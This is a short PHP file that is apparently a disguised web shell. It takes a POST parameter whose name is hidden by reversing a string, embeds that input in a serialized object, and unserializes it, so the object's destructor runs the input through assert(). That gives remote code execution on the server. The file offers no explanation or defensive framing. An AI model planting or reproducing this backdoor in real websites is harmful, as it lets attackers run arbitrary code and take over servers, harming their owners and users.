<?php

class A{

    var $test = "demo";

    function __destruct(){

        assert($this->test);

    }

}

$pw=strrev('doog');

$test = $_POST[$pw];

$len = strlen($test)+1;

$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}";

$test_unser = unserialize($pp);

?>